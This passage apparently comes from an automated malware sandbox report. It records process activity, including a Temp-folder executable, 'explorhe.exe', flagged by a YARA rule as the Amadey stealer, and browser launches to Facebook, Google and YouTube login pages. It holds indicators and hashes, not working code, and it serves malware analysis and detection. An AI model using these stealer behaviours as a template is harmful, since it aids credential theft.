Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6444 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	45
Start time:	00:34:41
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6620 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	46
Start time:	00:34:42
Start date:	18/01/2024
Path:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe"
Imagebase:	0x950000
File size:	1'388'032 bytes
MD5 hash:	F3CFA7E6835A51B52B5B2F4173C5D047
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002E.00000002.4707775638.0000000000951000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	false

Target ID:	48
Start time:	00:34:43
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	49
Start time:	00:34:43
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	50
Start time:	00:34:44
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	51
Start time:	00:34:44
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	52
Start time:	00:34:45
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true